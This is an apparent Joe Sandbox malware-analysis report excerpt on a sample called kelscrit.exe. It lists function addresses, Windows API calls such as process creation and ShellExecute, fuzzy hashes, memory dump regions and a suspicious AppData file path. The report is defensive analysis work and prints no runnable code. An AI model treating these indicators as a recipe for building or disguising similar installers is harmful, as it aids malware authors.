Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: fc4ae7de1a988c572ae2e9f733057e11b5d74982a37415ce069d5c91d6d923cf
Instruction ID: cd4f68ad1bc4df61111a8e6125a37bec327b368bc2224c93a9ffc6bdd58994c4
Opcode Fuzzy Hash: fc4ae7de1a988c572ae2e9f733057e11b5d74982a37415ce069d5c91d6d923cf
Instruction Fuzzy Hash: 74D05B72B08101D7DB00DBE89B49A9E77A4DB50378B31853BD111F11D4D7B8C545A71D

Function 00404542 Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404554

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 8dc2ea4a8cffd810c80330d43262312fa0f844130cc7d84a637c392e617d0b66
Instruction ID: 6ad8b1d984edffd0e08e34c6f36dd165e1dcb54a73607e2b540eae92d4c67d50
Opcode Fuzzy Hash: 8dc2ea4a8cffd810c80330d43262312fa0f844130cc7d84a637c392e617d0b66
Instruction Fuzzy Hash: ACC04C717402007BDA209F549D49F1777546790702F1495397351E51E0C674E550D61C

Function 0040350A Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403267,?), ref: 00403518

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 9851be0de28bb9513f6e500a0df6ea838ed72b99fd7baa621d8f85bec57c8f40
Instruction ID: 1f5c7ae16c2334422adcad36111bde95194575cbdac9b1f52e29a9f6e91cc98e
Opcode Fuzzy Hash: 9851be0de28bb9513f6e500a0df6ea838ed72b99fd7baa621d8f85bec57c8f40
Instruction Fuzzy Hash: 34B01271240300BFDA214F00DF09F057B21ABA0700F10C034B388380F086711035EB0D

Function 0040452B Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,00404356), ref: 00404539

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 5e23afa4ba150cac51e31494d2c9f0ee7f8efb4361c8cf2b7a73957f204a5961
Instruction ID: 777369a795cbaa9bd4fd16da76cbada5404ff361b75e364c58eeef3f96c31ac9
Opcode Fuzzy Hash: 5e23afa4ba150cac51e31494d2c9f0ee7f8efb4361c8cf2b7a73957f204a5961
Instruction Fuzzy Hash: 6BB09235181600AADA115B40DE09F867BA2E7A4701F029438B340640B0CBB210A0DB08

Function 00405B9D Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 00405BAC

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: ExecuteShell
String ID:
API String ID: 587946157-0
Opcode ID: accb29398adcd6f2598047f0fcddae8b07494e52d9cc9fcafc25c5f5f83f3143
Instruction ID: 080962bbef7e268e86b0d243ececfcd1ad47764945baea7f73af6130fa7b9bd6
Opcode Fuzzy Hash: accb29398adcd6f2598047f0fcddae8b07494e52d9cc9fcafc25c5f5f83f3143
Instruction Fuzzy Hash: A9C092F2100201EFE301CF80CB09F067BE8AF54306F028058E1899A060CB788800CB29

Function 00404518 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,004042EF), ref: 00404522

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: faa9f1bbc6a73408ed15535010d366895e2d742fa65bef251b9024de670fa5bb
Instruction ID: 186c68f4495094c0cebc3eb7279f68ffc90812dad8dfd9e689695b78415bb769
Opcode Fuzzy Hash: faa9f1bbc6a73408ed15535010d366895e2d742fa65bef251b9024de670fa5bb
Instruction Fuzzy Hash: 43A00176544A04ABCE12EB50EF4990ABB62BBA4B01B618879A285514388B325921EB19

Function 00401FC9 Relevance: 1.3, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 004055FC: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll,00000000,00425A20,74DF23A0,?,?,?,?,?,?,?,?,?,0040343D,00000000,?), ref: 00405634
Part of subcall function 004055FC: lstrlenW.KERNEL32(0040343D,Skipped: C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll,00000000,00425A20,74DF23A0,?,?,?,?,?,?,?,?,?,0040343D,00000000), ref: 00405644
Part of subcall function 004055FC: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll,0040343D,0040343D,Skipped: C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll,00000000,00425A20,74DF23A0), ref: 00405657
Part of subcall function 004055FC: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll), ref: 00405669
Part of subcall function 004055FC: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040568F
Part of subcall function 004055FC: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004056A9
Part of subcall function 004055FC: SendMessageW.USER32(?,00001013,?,00000000), ref: 004056B7

Part of subcall function 00405B5A: CreateProcessW.KERNELBASE(00000000,00437800,00000000,00000000,00000000,04000000,00000000,00000000,0042FA70,?,?,?,00437800,?), ref: 00405B83
Part of subcall function 00405B5A: CloseHandle.KERNEL32(?,?,?,00437800,?), ref: 00405B90

CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 00402010

Part of subcall function 00406A16: WaitForSingleObject.KERNEL32(?,00000064), ref: 00406A27
Part of subcall function 00406A16: GetExitCodeProcess.KERNEL32(?,?), ref: 00406A49

Part of subcall function 004064BE: wsprintfW.USER32 ref: 004064CB

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcatwsprintf
String ID:
API String ID: 2972824698-0
Opcode ID: a427765dcc854a3b2948ff8f1996ec0f646c6c24c00c8af56b9e51dc183c014b
Instruction ID: 3bd5da99d2ff211530604a8704e688701187be5a7f5114c752edafe9c60b233e
Opcode Fuzzy Hash: a427765dcc854a3b2948ff8f1996ec0f646c6c24c00c8af56b9e51dc183c014b
Instruction Fuzzy Hash: 82F0F6329041119BDB20BBA18A895DE76A4CF00318F21803FE202B21C6CBBC4D41AB6E

Function 004014D7 Relevance: 1.3, APIs: 1, Instructions: 19sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 004014EA

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 1ea5a5e12aa05b844e6b4a57a4a16afa5e1267f6842beefd722180d43813e619
Instruction ID: 33bc48e2b41eb1a57acea8eab1ee3944d72ccc7503d83e75cfd502536df4b4aa
Opcode Fuzzy Hash: 1ea5a5e12aa05b844e6b4a57a4a16afa5e1267f6842beefd722180d43813e619
Instruction Fuzzy Hash: F9D0A773A146008BD744EBB8BE8549F73E8EB903293215C3BD102E10D1E778C901561C

Non-executed Functions

Function 004049E7 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404A36
SetWindowTextW.USER32(00000000,?), ref: 00404A60
SHBrowseForFolderW.SHELL32(?), ref: 00404B11
CoTaskMemFree.OLE32(00000000), ref: 00404B1C
lstrcmpiW.KERNEL32(Call,0042CA68,00000000,?,?), ref: 00404B4E
lstrcatW.KERNEL32(?,Call), ref: 00404B5A
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404B6C

Part of subcall function 00405BBB: GetDlgItemTextW.USER32(?,?,00000400,00404BA3), ref: 00405BCE

Part of subcall function 00406825: CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\kelscrit.exe",74DF3420,C:\Users\user\AppData\Local\Temp\,00000000,0040352D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 00406888
Part of subcall function 00406825: CharNextW.USER32(?,?,?,00000000,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00406897
Part of subcall function 00406825: CharNextW.USER32(?,"C:\Users\user\Desktop\kelscrit.exe",74DF3420,C:\Users\user\AppData\Local\Temp\,00000000,0040352D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 0040689C
Part of subcall function 00406825: CharPrevW.USER32(?,?,74DF3420,C:\Users\user\AppData\Local\Temp\,00000000,0040352D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 004068AF

GetDiskFreeSpaceW.KERNEL32(0042AA38,?,?,0000040F,?,0042AA38,0042AA38,?,00000001,0042AA38,?,?,000003FB,?), ref: 00404C2F
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404C4A

Part of subcall function 00404DA3: lstrlenW.KERNEL32(0042CA68,0042CA68,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404E44
Part of subcall function 00404DA3: wsprintfW.USER32 ref: 00404E4D
Part of subcall function 00404DA3: SetDlgItemTextW.USER32(?,0042CA68), ref: 00404E60

Strings

Call, xrefs: 00404B48, 00404B4D, 00404B58
A, xrefs: 00404B0A
C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres, xrefs: 00404B37

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres$Call
API String ID: 2624150263-248280157
Opcode ID: 716f91307e0c0206c4811f73cf3aa40f2f43fcc6cf09981b0470e9a043fb6368
Instruction ID: 819d6111372f9eb468737b2dc9595d459319e5efb98401d1644bfd8e85b56d65
Opcode Fuzzy Hash: 716f91307e0c0206c4811f73cf3aa40f2f43fcc6cf09981b0470e9a043fb6368
Instruction Fuzzy Hash: 14A180B1901208ABDB11EFA5DD45BAFB7B8EF84314F11803BF601B62D1D77C9A418B69

Function 004021CF Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004085E8,?,00000001,004085D8,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040224E

Strings

C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres, xrefs: 0040228E

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres
API String ID: 542301482-2593783087
Opcode ID: 99423ef168fa0dc7d563ab215b90f00d26a2448a52d76e49bcb10065e06d2d2e
Instruction ID: 879178e2914a864b6efeea5842d2d3985b85c893096dfa9a9f6c7732eb85e553
Opcode Fuzzy Hash: 99423ef168fa0dc7d563ab215b90f00d26a2448a52d76e49bcb10065e06d2d2e
Instruction Fuzzy Hash: D1412571A00209AFCB00DFE4CA89A9D7BB5FF48318B20457EF505EB2D1DB799981CB54

Function 04380727 Relevance: 1.8, Strings: 1, Instructions: 568COMMON

Download Yara Rule

Strings

rPt, xrefs: 0438074A

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID: rPt
API String ID: 0-3191971309
Opcode ID: ca959629ad5321719dd3a654acad8f0a5c37081db6a5895c3aa4e588083ff592
Instruction ID: 2aae0f3d1e5cf882ffc54fa0344d809bfbae41b89468f22d83d6267e197a1a32
Opcode Fuzzy Hash: ca959629ad5321719dd3a654acad8f0a5c37081db6a5895c3aa4e588083ff592
Instruction Fuzzy Hash: 51E1AB42F2EF00C9EF93353085407B6E6A8DF62186E12BB5D8827A1DA2B71F354F65C4

Function 04380843 Relevance: 1.8, Strings: 1, Instructions: 537COMMON

Download Yara Rule

Strings

ji*, xrefs: 04380843

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID: ji*
API String ID: 0-926104866
Opcode ID: 06ffa449f807bae03aefd2b5a7d721e0058891e91b31fb755cb9452ecd21606d
Instruction ID: 87b0beabd802504b0a4f3736e4c5433c1d66742e7950907ff4604d45afe0034d
Opcode Fuzzy Hash: 06ffa449f807bae03aefd2b5a7d721e0058891e91b31fb755cb9452ecd21606d
Instruction Fuzzy Hash: 87D1AB42F2EF00C9EF933170C5807B6D6A9DF62156E12BB9E8427A1DA1B61F354F7188

Function 043809DB Relevance: 1.8, Strings: 1, Instructions: 505COMMON

Download Yara Rule

Strings

rPt, xrefs: 043809AD

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID: rPt
API String ID: 0-3191971309
Opcode ID: 0be2e39107480fdb9e37a97576c149a7e58af43da8c11e4ceafac4b74e3f1bd5
Instruction ID: 512209fc041bc579e3cb0f655546f694e54267ef224d4c18c0e74406ee682781
Opcode Fuzzy Hash: 0be2e39107480fdb9e37a97576c149a7e58af43da8c11e4ceafac4b74e3f1bd5
Instruction Fuzzy Hash: 3FD1AD42F2EF01C9EF93353084817B2D699DF62145E12BB9E8827A2DA5B71F354F7184

Function 0438098A Relevance: 1.7, Strings: 1, Instructions: 496COMMON

Download Yara Rule

Strings

rPt, xrefs: 043809AD

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID: rPt
API String ID: 0-3191971309
Opcode ID: d4f7bf1963e4ef64decc92431e901bd2c2b1581a98bea5cfe3972299758eb0bd
Instruction ID: d538ed75c8803191e13aa16df2fef1d135d29baf459f4ef4c1cd9a2e219152b8
Opcode Fuzzy Hash: d4f7bf1963e4ef64decc92431e901bd2c2b1581a98bea5cfe3972299758eb0bd
Instruction Fuzzy Hash: B9D1AB42F2EF00C9EF93353084817B2D659DF62146E12BB9E8827A1DA6B71F354F7188

Function 04380C54 Relevance: 1.7, Strings: 1, Instructions: 466COMMON

Download Yara Rule

Strings

rPt, xrefs: 04380C26

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID: rPt
API String ID: 0-3191971309
Opcode ID: c04de6b1001925af2ed2b7162715e6e01979c432eb1d4123feecca6b25070404
Instruction ID: 029d34fe055eac1c254f576d8c01c356fc5c3a176feca99290ab5b577384b65f
Opcode Fuzzy Hash: c04de6b1001925af2ed2b7162715e6e01979c432eb1d4123feecca6b25070404
Instruction Fuzzy Hash: 33C1AD42F2EF01C9EF93353084817B2D699DF62146E12BB9E9423A2DA5B71F354F7188

Function 04380AB0 Relevance: 1.7, Strings: 1, Instructions: 462COMMON

Download Yara Rule

Strings

ji*, xrefs: 04380AB0

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID: ji*
API String ID: 0-926104866
Opcode ID: 7b44e07e3e599c5926373fc632daa204066e5c134b48e013747053b5c4554f7e
Instruction ID: 5f19d21a457300804787005b89157e1898ae0ae96753fb741be5f358d9f6b087
Opcode Fuzzy Hash: 7b44e07e3e599c5926373fc632daa204066e5c134b48e013747053b5c4554f7e
Instruction Fuzzy Hash: E2C19B42F2EF01C9EF93303084817B2D699DF62146E12BB9E4827A1DA5B72F754F7188

Function 04380C03 Relevance: 1.7, Strings: 1, Instructions: 450COMMON

Download Yara Rule

Strings

rPt, xrefs: 04380C26

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID: rPt
API String ID: 0-3191971309
Opcode ID: 3df851bbb7f857d1820bee8fe31df3215968952ad566ddaacc4a15ad24ceb61c
Instruction ID: 57ebd8a47dfd7829ddb50429098301d6d1649fbfdc68bb634c2a885520892c5b
Opcode Fuzzy Hash: 3df851bbb7f857d1820bee8fe31df3215968952ad566ddaacc4a15ad24ceb61c
Instruction Fuzzy Hash: A3B19B42F2EF01C9EF93353084817B1D699DF62146E12BB9E9827A1DA1B72F354F7188

Function 04380E76 Relevance: 1.7, Strings: 1, Instructions: 424COMMON

Download Yara Rule

Strings

rPt, xrefs: 04380E99

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID: rPt
API String ID: 0-3191971309
Opcode ID: fd1d78fd3767f22a68474d650233239c237ae1d4024893626551d97b738b1853
Instruction ID: a689c4c491161299c4b1f1b955df693ab7d7da560e738eefe6c6fa7edbd1d2c8
Opcode Fuzzy Hash: fd1d78fd3767f22a68474d650233239c237ae1d4024893626551d97b738b1853
Instruction Fuzzy Hash: E0B1BC42F2EF01C9EF93353084817B1E659DF62145E11BB9E8823A2DA2B71F354F6184

Function 04380EC5 Relevance: 1.7, Strings: 1, Instructions: 422COMMON

Download Yara Rule

Strings

rPt, xrefs: 04380E99

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID: rPt
API String ID: 0-3191971309
Opcode ID: 7076211f5928084d126a6b3ba626bb6ed892ee9f18b247398039d77b1d4d77e1
Instruction ID: ee92ceb3207570cf4a50b3d64ceddbe03307154c1c8d2b7eaee1eb85165cfb93
Opcode Fuzzy Hash: 7076211f5928084d126a6b3ba626bb6ed892ee9f18b247398039d77b1d4d77e1
Instruction Fuzzy Hash: A7B19B92F2EF01C9EF93353084816B2E699DF66145F11BB9E8423A2DA2B71F354F61C4

Function 0438112D Relevance: 1.6, Strings: 1, Instructions: 378COMMON

Download Yara Rule

Strings

rPt, xrefs: 04381101

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID: rPt
API String ID: 0-3191971309
